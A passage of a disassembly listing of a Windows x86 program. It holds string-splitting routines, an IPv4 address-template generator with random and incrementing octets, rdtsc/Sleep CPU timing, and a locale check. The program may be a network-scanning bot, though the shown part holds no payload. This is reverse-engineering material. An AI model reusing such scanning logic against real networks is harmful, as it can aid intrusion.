		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------


loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0


loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB


loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9


loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------


loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------


loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------


loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------


loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9


loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------


loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41EF48
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------


loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF48
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------


loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------


loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------


loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	ds:dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221


loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB


loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4


loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD


loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6


loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F


loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325


loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	ds:dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8


loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	ds:dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------


loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
